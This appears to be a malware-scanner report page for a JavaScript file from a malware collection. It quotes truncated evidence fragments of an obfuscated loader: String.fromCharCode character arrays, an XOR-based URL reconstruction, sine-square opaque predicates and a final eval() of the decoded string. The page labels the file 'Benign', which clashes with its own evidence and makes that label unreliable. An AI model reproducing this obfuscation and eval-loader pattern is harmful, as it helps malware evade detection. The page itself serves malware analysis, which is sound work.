Benign javascript-malware-collection Download

779fea58bee76bf9a12a4d42ee1a32f2b6f9374d32944d72a7be8d1e3964798d.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256779fea58bee76bf9a12a4d42ee1a32f2b6f9374d32944d72a7be8d1e3964798d

Evidence

Builds characters with String.fromCharCode line 2

2:162… '$','g','F','a','m','O','i','y','*','R','Y','z','w','#','/','Y',String.fromCharCode(10),'o','&','_','!','U','X','y','<','f','u','-','k','l',String.fromCharCode(13),'y','?','5','u','$','o','y','#','!','X','&','H' …

XOR URL reconstruction call line 2

2:1854… ']','d','Y','U','Z','M','.','{','l','[','A','J','q','D','#','#',String.fromCharCode(92),'_','%','n','J',']','C','(',')','M','^','$','l','_','A',']','1','P','I','C','`','^',']','C','Z','M','r','a',')','b','h','A','-','c','`','Y','`',']','$','b','S','Y','d','o','S','2','q','e','l','{','I','f','y','# …

Calls JavaScript toString conversion method lines 4–10

4:44… epmDJK){CHjk=dcLzUAhDTtXTtczqX(rnHOmUAgaTs,yuyWRTxlbGprN);lArwY=CHjk.toString(sLepmDJK);return lArwY;}
5function YlmbUelVrmsEfUa(YXwSBHZUkKCjUFZIl,qIjSjpeiIMpRYXbqgAGlVVYhKgsPfIBzYG,uoHmvKmeHsvZTiATCdCzwqEmmGLAGbIorHg){eval(YXwSBHZUkKCjUFZIl);}
6function qYKoDHXWHsyxbrXOFBnEeckWPigWYAuWbvkEEvyWGgPpqqImnUSzyA(pXHOqpqGzVhlk,PMySnqbciyKmkZ){ return CvZmHQD[zcUoCOEL[dEuIh(pXHOqpqGzVhlk[PMySnqbciyKmkZ],(22605+775)/835,(3520+310)/383)]];}
7function HuDiJTS(xDHMIvPjMYIIRpRHJtnLMOOYsKBZiHbVTpar) {return !WeWwBbnhIsu(enliRaMOPGuuAxQ(xDHMIvPjMYIIRpRHJtnLMOOYsKBZiHbVTpar)) && rxJCSpSuImHD(xDHMIvPjMYIIRpRHJtnLMOOYsKBZiHbVTpar);}
8function WeWwBbnhIsu(xTQdQyUaBOFpck) {return isNaN(xTQdQyUaBOFpck);}
9function rxJCSpSuImHD(vjiXtUscZErYa) {return isFinite(vjiXtUscZErYa);}
10function dcLzUAhDTtXTtczqX(fxKLczEoDC,doCPoIyvSQ) {return parseInt(fxKLczEoDC, …

Dense indexed short-token grid lines 12–13

12:33… XHPTwWU,HczlWBgUeDa) {zaUUqmPqJdxUeS[XriMvTXHPTwWU]=HczlWBgUeDa;}
13var p = new Array();p[0]=[];p[0][0]='d';p[0][1]='a';p[0][2]='d';p[0][3]='a';p[0][4]='46';p[0][5]='3d';p[0][6]='42';p[0][7]='14';p[0][8]='2b';p[0][9]='14';p[0][10]='25';p[0][11]='14';p[0][12]='16';p[0][13]='47';p[0][14]='3k';p[0][15]='3d';p[0][16]='44';p[0][17]='3g';p[0][18]='3l';p[0][19]='3g';p[0][20]='49';p[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],p[4],p[5]];
20var fiMxhdUfR=[];
21function QCNooSIQiOcxqYzkJ(hLNeg){pXlTAHpGefg= '';jfBMUKcWnLA=Math.round((Math.pow(Math.sin(821), 2) + Math.pow(Math.cos(821), 2) - 1));while(true){if (jfBMUKcWnLA >= (-158+350)/32){break;}fiMxhdUfR[jfBMUKcWnLA]=Math.round((Math.pow(Math.sin(798), 2) + Math.pow(Math.cos(798), 2) - 1)); while(true) { if(fiMxhdUfR[jfBMUKcWnLA] > hLNeg[jfBMUKcWnLA].length-(-727+735)/8) { break; } if (HuDiJTS(dEuIh(hLNeg[jfBMUKcWnLA][fiMxhdUfR[jfBMUKcWnLA]],(9884+896)/385,(9474+376)/985))) {pXlTAHpGefg += qYKoDHXWHsyxbrXOFBnEeckWPigWYAuWbvkEEvyWGgPpqqImnUSzyA([hLNeg[jfBMUKcWnLA][fiMxhdUfR[jfBMUKcWnLA]]], Math.round((Math.pow(Math.sin(358), 2) + Math.pow(Math.cos(358), 2) - 1)));} fiMxhdUfR[jfBMUKcWnLA]++;}jfBMUKcWnLA++;} return pXlTAHpGefg}
22var GDVrVffDbHANIHIvEECvmwlYVMUWgaESr = 'qrHOGxHeoMgWIuWcDkKMdZwxGMQxiNWjdtZr';var yzBMZVmcIUsaMfUBfWLkPyNlewQBOjna = 'rUNnKRLGXWGcAffgFuPRzOVwbWXFitMHbIYU';YlmbUelVrmsEfUa(QCNooSIQiOcxqYzkJ(hLNeg),GDVrVffDbHANIHIvEECvmwlYVMUWgaESr,yzBMZVmcIUsaMfUBfWLkPyNlewQBOjna);